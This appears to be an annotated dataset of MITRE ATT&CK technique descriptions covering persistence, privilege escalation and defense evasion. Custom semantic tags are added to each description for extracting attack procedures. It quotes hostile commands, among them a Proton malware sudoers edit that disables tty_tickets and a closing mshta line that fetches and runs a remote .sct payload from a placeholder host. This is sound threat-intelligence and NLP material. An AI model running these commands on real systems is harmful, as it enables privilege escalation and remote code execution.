**<procedure><conjunctive>**Adversaries may **<what>**install**<\what>** a new **<where>**service**<\where>** that can be **<what>**configured**<\what>** to **<why><what>**execute**<\what>** at startup**<\why>** by **<how><what>**using**<\what>** **<where>**utilities**<\where** to **<why><what>**interact**<\what>** with **<where>**services**<\where><\why><\how>** or by **<how>**directly **<what>**modifying**<\what>** the **<where>**Registry**<\where><\how>**. The **<where>**service name**<\where>** may be **<what>**disguised**<\what>** by **<how><what>**using**<\what>** a **<where>**name**<\where>** from a related operating system or benign software**<\how>** with **<how>**Masquerading**<\how><\conjunctive>**. **<how><where>**Services**<\where>** may be **<what>**created**<\what>** with **<attribute>**administrator privileges**<\attribute>** but are **<what>**executed**<\what>** under **<attribute>**SYSTEM privileges**<\attribute><\how>**, so an adversary may also **<what>**use**<\what>** a **<where>**service**<\where>** to **<why><what>**escalate**<\what>** **<where>**privileges**<\where>** from administrator to SYSTEM**<\why>**. Adversaries may also directly **<what>**start**<\what>** **<where>**services**<\where>** through **<how>**Service Execution**<\how>**. **<\procedure>**

**<tactic>** Persistence **<\tactic>**

**<TechniqueName>** Netsh Helper DLL**<\TechniqueName>**

**<id>** T1128**<\id>**

**<procedure>**Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. [1] The paths to registered netsh.exe helper DLLs are entered into the **<how>**Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh**<\how>**.

Adversaries can **<what>**use**<\what>** **<where>**netsh.exe**<\where>** with **<how>**helper DLLs**<\how>** to **<why>**proxy **<what>**execution**<\what>** of arbitrary **<where>**code**<\where><\why>** in a persistent manner when **<when><condition><object>**netsh.exe**<\object>** is executed automatically**<\condition>** with another Persistence technique**<\when>** or **<when>**if other **<condition>**persistent software is present on the system that executes **<object>**netsh.exe**<\object><\condition> <\when>** as part of its normal functionality. Examples include some **<how>**VPN software**<\how>** that **<what>**invoke**<\what>** **<where>**netsh.exe**<\where>**. [2]

Proof of concept code exists to **<what>**load**<\what>** **<where>**Cobalt Strike's payload**<\where>** **<how><what>**using**<\what>** **<where>**netsh.exe helper DLLs**<\where><\how>**. **<\procedure>** [3]

**<tactic>** Persistence **<\tactic>**

**<TechniqueName>** Modify Existing Service**<\TechniqueName>**

**<id>** T1031**<\id>**

**<procedure>**Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. **<where>**Service configurations**<\where>** can be **<what>** modified**<\what>** using **<how>**utilities**<\how>** such as **<how>**sc.exe**<\how>** and **<how>**Reg**<\how><\procedure>**

**<procedure>**Adversaries can **<what>**modify**<\what>** an existing **<where>**service**<\where>** to **<why><what>**persist**<\what>** **<where>**malware**<\where>** on a system **<\why>** by **<how><what>**using**<\what>** **<where>**system utilities**<\where><\how>** or by **<how><what>**using**<\what>** **<where>**custom tools**<\where><\how>** to **<why><what>**interact**<\what>** with the **<where>**Windows API**<\where><\why>**. Use of existing services is a type of **<how\_alt>**Masquerading**<\how\_alt>** that may make detection analysis more challenging. Modifying existing services may **<why><what>**interrupt**<\what>** their **<where>**functionality**<\where><\why>** or may **<why><what>**enable**<\what>** **<where>**services**<\where>** that are disabled**<\why>** or otherwise not commonly used. **<\procedure>**

**<procedure>**Adversaries may also intentionally **<what>**corrupt**<\what>** or **<what>**kill**<\what>** **<where>**services**<\where>** to **<why><what>**execute**<\what>** malicious **<where>**recovery programs**<\where>**/**<where>**commands**<\where><\why>**. **<\procedure>** [1] [2]

**<tactic>** Execution, Persistence **<\tactic>**

**<TechniqueName>** LSASS Driver**<\TechniqueName>**

**<id>** T1177**<\id>**

The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. [1]

**<procedure>**Adversaries may **<what>**target**<\what>** **<where>**lsass.exe drivers**<\where>** to **<why><what>**obtain**<\what>** execution and/or persistence**<\why>**. By either **<how><what>**replacing**<\what>** or **<what>**adding**<\what>** illegitimate **<where>**drivers**<\where><\how>** (e.g., **<how\_alt>**DLL Side-Loading**<\how\_alt>** or **<how\_alt>**DLL Search Order Hijacking**<\how\_alt>**), an adversary can achieve **<where>**arbitrary code execution**<\where>** **<what>**triggered**<\what>** by **<how>**continuous LSA operations**<\how>**.**<\procedure>**

**<tactic>** Privilege Escalation **<\tactic>**

**<TechniqueName>** Sudo Caching**<\TechniqueName>**

**<id>** T1206**<\id>**

The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." [1] Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp\_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty\_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

**<procedure>**Adversaries can **<what>**abuse**<\what>** poor **<where>**configurations**<\where>** of this to **<why><what>**escalate**<\what>** **<where>**privileges**<\where>** without needing the user's password**<\why>**. **<when>**/var/db/sudo's timestamp can be monitored to see if it **<condition>**falls within the **<object>**timestamp\_timeout**<\object>** range**<\condition><\when>**. If it does, then malware can execute sudo commands without needing to supply the user's password. When **<when><condition>** **<object>**tty\_tickets**<\object>** is disabled**<\condition><\when>**, adversaries can do this from any tty for that user**<\procedure>**

**<procedure>**The OSX Proton Malware has **<what>**disabled**<\what>** **<where>**tty\_tickets**<\where>** to potentially **<why><what>**make**<\what>** **<where>**scripting**<\where>** easier**<\why>** by issuing echo \'Defaults !tty\_tickets\' >> /etc/sudoers [2]. In order for this change to be reflected, the **<when>**Proton malware also must **<condition>**issue killall Terminal**<\condition><\when>**. As of macOS Sierra, the sudoers file has tty\_tickets enabled by default**<\procedure>**.

**<tactic>** Privilege Escalation **<\tactic>**

**<TechniqueName>** Sudo **<\TechniqueName>**

**<id>** T1169**<\id>**

**<procedure>**The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a **<how>**line like user1 ALL=(ALL) NOPASSWD: ALL**<\how>** [1].

Adversaries can **<what>**take advantage**<\what>** of these **<where>**configurations**<\where>** to **<why><what>**execute**<\what>** **<where>**commands**<\where>** as other users**<\why>** or **<why><what>**spawn**<\what>** **<where>**processes**<\where>** with higher privileges**<\why>**. You **<when>**must have **<condition>**elevated **<object>**privileges**<\object><\condition>** to edit this file**<\when>** though. **<\procedure>**

**<tactic>** Privilege Escalation **<\tactic>**

**<TechniqueName>** SID-History Injection**<\TechniqueName>**

**<id>** T1178**<\id>**

The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. [1] An account can hold additional SIDs in the SID-History Active Directory attribute [2], allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

**<procedure>**Adversaries may **<what>**use**<\what>** **<where>**this mechanism(SID-History Injection)**<\where>** for **<why>**privilege escalation**<\why>**. With **<when>**Domain Administrator (or equivalent) rights**<\when>**, harvested or well-known **<where>**SID values**<\where>** [3] may be **<what>**inserted**<\what>** into **<attribute>**SID-History**<\attribute>** to **<why><what>**enable impersonation**<\what>** of arbitrary **<where>**users**<\where>**/**<where>**groups**<\where><\why>** such as Enterprise Administrators. This manipulation may result in **<why>**elevated access to local resources**<\why>** and/or access to otherwise inaccessible domains via lateral movement techniques such as **<post\_condition>**Remote Services**<\post\_condition>**, **<post\_condition>**Windows Admin Shares**<\post\_condition>**, or **<post\_condition>**Windows Remote Management**<\post\_condition><\procedure>**.

**<tactic>** Defense Evasion, Privilege Escalation**<\tactic>**

**<TechniqueName>** Process Injection**<\TechniqueName>**

**<id>** T1055**<\id>**

**<procedure>**Process injection is a method of executing arbitrary code in the address space of a separate live process. **<what>**Running**<\what>** **<where>**code**<\where>** in the **<attribute>**context of another process**<\attribute>** may **<why><what>**allow access**<\what>** to the **<where>**process's memory**<\where>**, **<where>**system resources **<\where>**/ **<where>** network resources**<\where><\why>**, and possibly **<why>**elevated privileges**<\why>**. Execution via process injection may also **<why><what>**evade **<\what>** detection from security products**<\why>** since the execution is masked under a legitimate process**<\procedure>**.

Windows

There are multiple approaches to injecting code into a live process. Windows implementations include: [1]

**<procedure><conjunctive>**Dynamic-link library (DLL) injectioninvolves **<what>**writing**<\what>** the **<where>**path to a malicious DLL**<\where>** inside a **<attribute>**process**<\attribute>** then **<what>**invoking execution**<\what>** by **<how><what>**creating**<\what>** a remote **<where>**thread**<\where><\how><\conjunctive><\procedure>**.

**<procedure><conjunctive>**Portable executable injection involves **<what>**writing**<\what>** malicious **<where>**code**<\where>** directly into the **<attribute>**process**<\attribute>** (without a file on disk) then **<what>**invoking execution**<\what>** with either **<how>**additional code**<\how>** or by **<how><what>**creating**<\what>** a remote **<where>**thread**<\where><\how>**. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as **<how\_alt>**reflective DLL injection (writing a self-mapping DLL into a process) **<\how\_alt>** and **<how\_alt>**memory module (map DLL when writing into process) **<\how\_alt>** overcome the address relocation issue**<\conjunctive><\procedure>**. [2]

**<procedure><how>**Thread execution hijacking**<\how>** involves **<what>**injecting**<\what>** malicious **<where>**code**<\where>** or the **<where>**path to a DLL**<\where>** into a **<attribute>**thread of a process**<\attribute>**. Similar to **<how\_alt>**Process Hollowing**<\how\_alt>**, the **<when><condition><object>**thread**<\object>** must first be suspended**<\condition><\when><\procedure>**.

**<procedure>**Asynchronous Procedure Call (APC) injection involves **<what>**attaching**<\what>** malicious **<where>**code**<\where>** to the **<attribute>**APC Queue**<\attribute>** [3] of a process's thread. **<why><where>**Queued APC functions**<\where>** are **<what>**executed**<\what><\why>** when the **<when><condition><object>**thread**<\object>** enters an alterable state**<\condition> <\when>. <conjunctive>** A variation of APC injection, dubbed "Early Bird injection", involves **<what>**creating**<\what>** a **<where>**suspended process**<\where>** in which malicious **<where>**code**<\where>** can be **<what>**written**<\what>** and **<what>**executed**<\what>** before the process' entry point (and potentially subsequent anti-malware hooks) via an **<how>**APC**<\how>** [4] **<\conjunctive>.** AtomBombing [5] is another variation that **<what>**utilizes**<\what>** **<where>**APCs **<\where>** to **<why><what>**invoke**<\what>** malicious **<where>**code**<\where><\why>** previously written to the global atom table**<\procedure>**. [6]

**<procedure>** **<how>**Thread Local Storage (TLS) callback injection**<\how>** involves **<what>**manipulating**<\what>** **<where>**pointers**<\where>** inside a **<attribute>**portable executable (PE) **<\attribute>** to **<why><what>**redirect**<\what>** a **<where>**process**<\where>** to malicious code**<\why>** before reaching the code's legitimate entry point**<\procedure>**. [7]

Mac and Linux

Implementations for Linux and OS X/macOS systems include: [8] [9]

**<procedure>** **<where>**LD\_PRELOAD**<\where>**, **<where>**LD\_LIBRARY\_PATH (Linux) **<\where>**, **<where>**DYLD\_INSERT\_LIBRARIES (Mac OS X) environment variables**<\where>**, or the **<where>**dlfcn application programming interface (API) **<\where>** can be **<what>**used**<\what>** to **<why>**dynamically **<what>**load**<\what>** a **<where>**library (shared object) **<\where>** in a process**<\why>** which can be used to intercept API calls from the running process**<\procedure>**. [10]

**<procedure>** **<where>**Ptrace system calls**<\where>**can be **<what>**used**<\what>** to **<why><what>**attach**<\what>** to a **<where>**running process**<\where>** and **<what>**modify**<\what>** **<where>**it(running process)**<\where>** in runtime**<\why><\procedure>**. [9]

**<procedure>** **<where>**/proc/[pid]/mem**<\where>** provides **<why><what>**access**<\what>** to the **<where>**memory of the process**<\where><\why>** and can be **<what>**used**<\what>** to **<why><what>**read**<\what>**/**<what>**write**<\what>** arbitrary **<where>**data**<\where>** to it. **<\why>** This technique is very rare due to its complexity**<\procedure>**. [9]

**<procedure>** VDSO hijacking performs runtime **<what>**injection**<\what>** on **<where>**ELF binaries**<\where>** by **<how><what>**manipulating**<\what>** **<where>**code stubs**<\where>** mapped in from the linux-vdso.so shared object**<\how><\procedure>**. [11]

**<procedure>** Malware commonly **<what>**utilizes**<\what>** **<where>**process injection**<\where>** to **<why><what>**access**<\what>** **<where>**system resources**<\where>** through which Persistence and other environment modifications can be made**<\why>**. More sophisticated samples may **<what>**perform**<\what>** multiple **<where>**process injections**<\where>** to **<why>**segment modules**<\why>** and further **<why>**evade detection**<\why>**, **<how><what>**utilizing**<\what>** **<where>**named pipes**<\where>** or other **<where>**inter-process communication (IPC) mechanisms**<\where><\how>** as a communication channel**<\procedure>**.

**<tactic>** Defense Evasion, Discovery**<\tactic>**

**<TechniqueName>** Virtualization/Sandbox Evasion**<\TechniqueName>**

**<id>** T1497**<\id>**

**<procedure>** Adversaries may **<what>**check**<\what>** for the presence of a **<where>**virtual machine environment (VME) **<\where>** or **<where>**sandbox**<\where>** to **<why><what>**avoid **<\what>**potential detection of tools and activities**<\why>**. If the adversary detects a VME, they may alter their malware to conceal the core functions of the implant or disengage from the victim. They may also **<what>**search**<\what>** for **<where>**VME artifacts**<\where>** before dropping secondary or additional payloads. **<\procedure>**

**<procedure>** Adversaries may **<what>**use**<\what>** several methods including **<where>**Security Software Discovery**<\where>** to accomplish Virtualization/Sandbox Evasion by **<how><what>**searching**<\what>** for **<where>**security monitoring tools**<\where>** (e.g., **<where>**Sysinternals**<\where>**, **<where>**Wireshark**<\where>**, etc.) **<\how>** to help **<why><what>**determine**<\what>** if it is an analysis environment**<\why>**. Additional methods include **<how><what>**use**<\what>** of **<where>**sleep timers**<\where><\how>** or **<how>** **<what>**use**<\what>** of **<where>**loops **<\where>** within malware code**<\how>** to **<why><what>**avoid operating**<\what>** within a temporary **<where>**sandboxes**<\where><\why><\procedure>** . [1]

Virtual Machine Environment Artifacts Discovery

**<procedure>**Adversaries may **<what>**use**<\what>** **<where>**utilities**<\where>** such as **<where>**Windows Management Instrumentation**<\where>**, **<where>**PowerShell**<\where>**, **<where>**Systeminfo**<\where>**, and the **<where>**Query Registry**<\where>** to **<why><what>**obtain**<\what>** **<where>**system information**<\where><\why>** and **<why><what>**search**<\what>** for **<where>**VME artifacts**<\where><\why>**. Adversaries may **<what>**search**<\what>** for **<where>**VME artifacts**<\where>** in **<attribute>**memory**<\attribute>**, **<attribute>**processes**<\attribute>**, **<attribute>**file system**<\attribute>**, and/or the **<attribute>**Registry**<\attribute>**. **<conjunctive>**Adversaries may **<what>**use**<\what>** **<where>**Scripting**<\where>** to **<why><what>**combine**<\what>** these **<where>**checks**<\where>** into one script**<\why>** and then have the **<where>**program**<\where>** **<what>**exit**<\what>** if **<when>**it **<condition>**determines the **<object>**system**<\object>** to be a virtual environment**<\condition><\when><\conjunctive>**.

Also, in applications like VMWare, adversaries can **<what>**use**<\what>** a special **<where>**I/O port**<\where>** to **<why>**send commands and receive output**<\why>**. Adversaries may also **<what>**check**<\what>** the **<where>**drive size**<\where>**. For example, this can be done **<how><what>**using**<\what>** the **<where>**Win32 DeviceIOControl function**<\where><\how>**.

Example VME Artifacts in the Registry[2]

**<attribute>**HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions**<\attribute>**

**<attribute>**HKLM\HARDWARE\Description\System\"SystemBiosVersion";"VMWARE" **<\attribute>**

**<attribute>**HKLM\HARDWARE\ACPI\DSDT\BOX\_**<\attribute>**

**<attribute>**Example VME files and DLLs on the system[2] **<\attribute>**

**<attribute>**WINDOWS\system32\drivers\vmmouse.sys**<\attribute>**

**<attribute>**WINDOWS\system32\vboxhook.dll**<\attribute>**

**<attribute>**Windows\system32\vboxdisp.dll**<\attribute>**

Common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions. **<\procedure>** [2]

User Activity Discovery

**<procedure>**Adversaries may **<what>**search**<\what>** for **<where>**useractivity**<\where>**

on the host (e.g., **<attribute>**browser history**<\attribute>**, **<attribute>**cache**<\attribute>**, **<attribute>**bookmarks**<\attribute>**, **<attribute>**number of files in the home directories**<\attribute>**, etc.) for **<why>**reassurance of an authentic environment**<\why>**. They might **<what>**detect**<\what>** this type of **<where>**information**<\where>** via **<how>**user interaction**<\how>** and **<how>**digital signatures**<\how>**. They may have malware **<what>**check**<\what>** the **<where>**speed of mouse clicks**<\where>** and **<where>**frequency of mouse clicks**<\where>** to **<why><what>**determine**<\what>** if it’s a sandboxed environment**<\why>**.[3] Other methods may rely on specific user interaction with the system before the malicious code is activated. Examples include **<how><what>**waiting**<\what>** for a document to close before activating a macro**<\how>** [4] and **<how><what>**waiting**<\what>** for a user to double click on an embedded image to activate**<\how>** [5] **<\procedure>**

.

Virtual Hardware Fingerprinting Discovery

**<procedure>**Adversaries may **<what>**check**<\what>** the **<where>**fan of the system**<\where>** and **<where>**temperature of the system**<\where>** to **<why><what>**gather**<\what>** **<where>**evidence**<\where>** that can be indicative a virtual environment**<\why>**. An adversary may **<what>**perform**<\what>** a **<where>**CPU check**<\where>** **<how><what>**using**<\what>** a **<where>**WMI query**<\where>** $q = "Select \* from Win32\_Fan" Get-WmiObject -Query $q**<\how>**. If the results of the WMI query return more than zero elements, this might tell them that the machine is a physical one**<\procedure>**. [6]

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** Timestomp**<\TechniqueName>**

**<id>** T1099**<\id>**

**<procedure>**Timestomping is a technique that **<what>**modifies**<\what>** the **<where>**timestamps of a file (the modify, access, create, and change times) **<\where>**, often to **<why><what>**mimic**<\what>** **<where>**files**<\where>** that are in the same folder**<\why>**. This is done, for example, on files that have been modified or created by the adversary so that **<why>**they **<what>**do not appear conspicuous**<\what>** to **<where>**forensic investigators**<\where>** or **<where>**file analysis tools**<\where><\why>**. **<where>**Timestomping **<\where>** may be **<what>**used**<\what>** along with file name **<how\_alt>**Masquerading **<\how\_alt>** to **<why><what>**hide**<\what>** **<where>**malware**<\where>** and **<where>**tools**<\where><\why><\procedure>**. [1]

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** Template Injection**<\TechniqueName>**

**<id>** T1221**<\id>**

Microsoft’s Open Office XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. [1]

Properties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

**<procedure>**Adversaries may **<what>**abuse**<\what>** **<where>**this technology(Template Injection)**<\where>** to initially **<why><what>**conceal**<\what>** malicious **<where>**code**<\where>** to be executed via documents**<\why>** (i.e. Scripting). **<where>**Template references**<\where>** **<what>**injected**<\what>** into a **<attribute>**document**<\attribute>** may **<why>**enable malicious **<what>**payloads **<\what>** to be **<what>**fetched**<\what>** and **<what>**executed**<\what><\why>** when **<when>**the **<condition><object>**document**<\object>** is loaded**<\condition><\when>**. [2] These documents can be delivered via other techniques such as **<how\_alt>**Spearphishing Attachment**<\how\_alt>** and/or **<how\_alt>**Taint Shared Content**<\how\_alt>** and may **<why>**evade static detections**<\why>** since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. [3] Examples have been seen in the wild where template injection was used to load malicious code containing an exploit**<\procedure>**. [4]

**<procedure><conjunctive>**This technique may also **<what>**enable**<\what>** **<where>**Forced Authentication**<\where>** by **<how><what>**injecting**<\what>** a **<where>**SMB/HTTPS (or other credential prompting) URL**<\where><\how>** and **<what>**triggering**<\what>** an **<where>**authentication attempt**<\where><\conjunctive><\procedure>**. [5] [6] [7]

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** Software Packing**<\TechniqueName>**

**<id>** T1045**<\id>**

**<procedure><how>**Software packing**<\how>** is a method of **<what>**compressing**<\what>** or **<what>**encrypting**<\what>** an **<where>**executable**<\where>**. **<what>**Packing**<\what>** an **<where>**executable**<\where>** changes the file signature in an attempt to **<why>**avoid signature-based detection**<\why>**. Most decompression techniques decompress the executable code in memory.

**<where>**Utilities**<\where>** **<what>**used**<\what>** to **<why>**perform software packing**<\why>** are called packers. Example packers are **<where>**MPRESS**<\where>** and **<where>**UPX**<\where>**. A more comprehensive list of known packers is available, [[1]](http://en.wikipedia.org/wiki/Executable_compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses**<\procedure>**.

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** Rootkit**<\TechniqueName>**

**<id>** T1014**<\id>**

**<procedure>**Rootkits are programs that **<what>**hide**<\what>** the existence of **<where>**malware**<\where>** by **<how><what>**intercepting**<\what>** (i.e., **<what>**Hooking**<\what>**) and **<what>**modifying**<\what>** **<where>**operating system API calls**<\where><\how>** that supply system information. [1] Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a **<how\_alt>**Hypervisor**<\how\_alt>**, **<how\_alt>**Master Boot Record**<\how\_alt>**, or the **<how\_alt>**System Firmware**<\how\_alt>**. [2]

Adversaries may **<what>**use**<\what>** **<where>**rootkits**<\where>** to **<why><what>**hide**<\what>** the presence of **<where>**programs**<\where>**, **<where>**files**<\where>**, **<where>**network connections**<\where>**, **<where>**services**<\where>**, **<where>**drivers**<\where>**, and other system components**<\why>**. Rootkits have been seen for Windows, Linux, and Mac OS X systems**<\procedure>**. [3] [4]

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** Process Hollowing**<\TechniqueName>**

**<id>** T1093**<\id>**

**<procedure><conjunctive>**Process hollowing occurs when a **<where>**process**<\where>** is **<what>**created**<\what>** in a **<attribute>**suspended state**<\attribute>** then its **<where>**memory**<\where>** is **<what>**unmapped**<\what>** and **<what>**replaced**<\what>** with **<attribute>**malicious code**<\attribute><\conjunctive>**. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may **<why><what>**evade**<\what>** **<where>**defenses and detection analysis**<\where><\why><\procedure>**. [1] [2]

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** Process Doppelgänging**<\TechniqueName>**

**<id>** T1186**<\id>**

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. [1] To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. [2] To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. [3]

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. [4]

**<procedure>**Adversaries may **<what>**leverage**<\what>** **<where>**TxF**<\where>** to a **<why><what>**perform**<\what>** a file-less variation of Process Injection called **<where>**Process Doppelgänging**<\where><\why>**. Similar to **<how\_alt>**Process Hollowing**<\how\_alt>**, Process Doppelgänging involves **<what>**replacing**<\what>** the **<where>**memory of a legitimate process**<\where>**, **<what>**enabling**<\what>** the veiled execution of malicious **<where>**code**<\where>** that may **<why>**evade defenses and detection**<\why>**. Process Doppelgänging's **<what>**use**<\what>** of **<where>**TxF**<\where>** also **<why><what>**avoids**<\what>** the use of **<where>**highly-monitored API functions**<\where>** such as **<where>**NtUnmapViewOfSection**<\where>**, **<where>**VirtualProtectEx**<\where>**, and **<where>**SetThreadContext**<\where><\why><\procedure>**. [4]

**<procedure><conjunctive>**Process Doppelgänging is implemented in 4 steps [4]:

Transact – **<what>**Create**<\what>** a **<where>**TxF transaction**<\where>** **<how><what>**using**<\what>** a legitimate **<where>**executable**<\where><\how>** then **<what>**overwrite**<\what>** the **<where>**file**<\where>** with **<attribute>**malicious code**<\attribute>**. These changes will be isolated and only visible within the context of the transaction.

Load – **<what>**Create**<\what>** a **<where>**shared section of memory**<\where>** and **<what>**load**<\what>** the malicious **<where>**executable**<\where>**.

Rollback – **<what>**Undo changes**<\what>** to original **<where>**executable**<\where>**, effectively **<what>**removing**<\what>** malicious **<where>**code**<\where>** from the file system.

Animate – **<what>**Create**<\what>** a **<where>**process**<\where>** from the **<attribute>**tainted section of memory**<\attribute>** and **<what>**initiate execution**<\what>**. **<\conjunctive><\procedure>**

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** Obfuscated Files or Information**<\TechniqueName>**

**<id>** T1027**<\id>**

**<procedure>**Adversaries may attempt to **<what>**make**<\what>** an **<where>**executable**<\where>** or **<where>**file**<\where>** **<why>**difficult to **<what>**discover**<\what>** or **<what>**analyze**<\what><\why>** by **<how><what>**encrypting**<\what>**, **<what>**encoding**<\what>**, or otherwise **<what>**obfuscating**<\what>** **<where>**its(File) contents**<\where>** on the system or in transit**<\how>**. This is common behavior that can be used across different platforms and the network to evade defenses**<\procedure>**.

**<procedure><where>**Payloads**<\where>** may be **<what>**compressed**<\what>**, **<what>**archived**<\what>**, or **<what>**encrypted**<\what>** in order to **<why>**avoid detection**<\why>**. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a **<when><condition><object>**user's action**<\object>** may be required**<\condition>** to open and Deobfuscate/Decode Files or Information for User Execution**<\when>**. The **<when>**user may also be **<condition>**required to input a **<object>**password**<\object><\condition>** to open a password protected compressed/encrypted file**<\when>** that was provided by the adversary. [1] Adversaries may also **<what>**used**<\what>** **<where>**compressed or archived scripts**<\where>**, such as **<where>**Javascript**<\where><\procedure>**.

**<procedure><where>**Portions of files**<\where>** can also be **<what>**encoded**<\what>** to **<why><what>**hide**<\what>** the **<where>**plain-text strings**<\where><\why>** that would otherwise help defenders with discovery. [2] **<where>**Payloads**<\where>** may also be **<what>**split**<\what>** into **<attribute>**separate, seemingly benign files**<\attribute>** that only reveal malicious functionality when reassembled**<\procedure>**. [3]

**<procedure>**Adversaries may also **<what>**obfuscate**<\what>** **<where>**commands**<\where>** executed from payloads or directly via a **<how>**Command-Line Interface**<\how>**. **<where>**Environment variables**<\where>**, **<where>**aliases**<\where>**, **<where>**characters**<\where>**, and other **<where>**platform/language specific semantics**<\where>** can be **<what>**used**<\what>** to **<why><what>**evade**<\what>** **<where>**signature based detections**<\where>** and **<where>**whitelisting mechanisms**<\where><\why><\procedure>**. [4] [5] [6]

**<procedure>**Another example of obfuscation is through the **<what>**use**<\what>** of **<where>**steganography**<\where>**, a technique of **<what>**hiding**<\what>** **<where>**messages**<\where>** or **<where>**code**<\where>** in **<where>**images**<\where>**, **<where>**audio tracks**<\where>**, **<where>**video clips**<\where>**, or **<where>**text files**<\where>**. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. **<conjunctive>**The Duqu malware **<what>**encrypted**<\what>** the **<where>**gathered information**<\where>** from a victim's system and **<what>**hid**<\what>** **<where>**it(gathered information) **<\where>** into an **<attribute>**image**<\attribute>** followed by **<what>**exfiltrating**<\what>** the **<where>**image**<\where>** to a **<attribute>**C2 server**<\attribute><\conjunctive>**. [7] By the end of 2017, an adversary group **<what>**used**<\what>** **<where>**Invoke-PSImage**<\where>** to **<why><what>**hide**<\what>** **<where>**PowerShell commands**<\where>** in an image file (png) **<\why>** and **<why><what>**execute**<\what>** the **<where>**code**<\where>** on a victim's system**<\why>**. **<conjunctive>**In this particular case the PowerShell code **<what>**downloaded**<\what>** another **<attribute>**obfuscated**<\attribute>** **<where>**script **<\where>** to **<why>**gather intelligence from the victim's machine**<\why>** and **<what>**communicate**<\what>** **<where>**it(gathered intelligence) **<\where>** back to the adversary**<\conjunctive><\procedure>**. [8]

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** NTFS File Attributes**<\TechniqueName>**

**<id>** T1096**<\id>**

Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. [1] Within MFT entries are file attributes, [2] such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). [1] [3] [4] [5]

**<procedure>**Adversaries may **<what>**store**<\what>** malicious **<where>**data**<\where>** or **<where>**binaries**<\where>** in **<attribute>**file attribute metadata**<\attribute>** instead of directly in files. This may be done to **<why><what>**evade**<\what>** some **<where>**defenses**<\where>**, such as **<where>**static indicator scanning tools**<\where>** and **<where>**anti-virus**<\where><\why><\procedure>**. [6] [4]

**<tactic>** Defense Evasion**<\tactic>**

**<TechniqueName>** Network Share Connection Removal**<\TechniqueName>**

**<id>** T1126**<\id>**

**<procedure>**Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. **<where>**Net**<\where>** is an example utility that can be **<what>**used**<\what>** to **<why><what>**remove**<\what>** **<where>**network share connections**<\where><\why>** with the **<how>**net use \system\share /delete command**<\how>**. [1]

Adversaries may **<what>**remove**<\what>** **<where>**share connections**<\where>** that are no longer useful in order to **<why><what>**clean up**<\what>** **<where>**traces**<\where>** of their operation**<\why><\procedure>**.

**<tactic>** Defense Evasion, Execution**<\tactic>**

**<TechniqueName>** Mshta**<\TechniqueName>**

**<id>** T1170**<\id>**

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. [1] HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. [2]

**<procedure>**Adversaries can **<what>**use**<\what>** **<where>**mshta.exe**<\where>** to **<why>**proxy **<what>**execution **<\what>** of malicious **<where>**.hta files**<\where>** and **<where>**Javascript**<\where>** or **<where>**VBScript**<\where><\why>** through a **<how>**trusted Windows utility**<\how>**. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code**<\procedure>** [3] [4] [5] [6] [7]

**<procedure><where>**Files**<\where>** may be **<what>**executed**<\what>** by **<how>**mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))**<\how>**

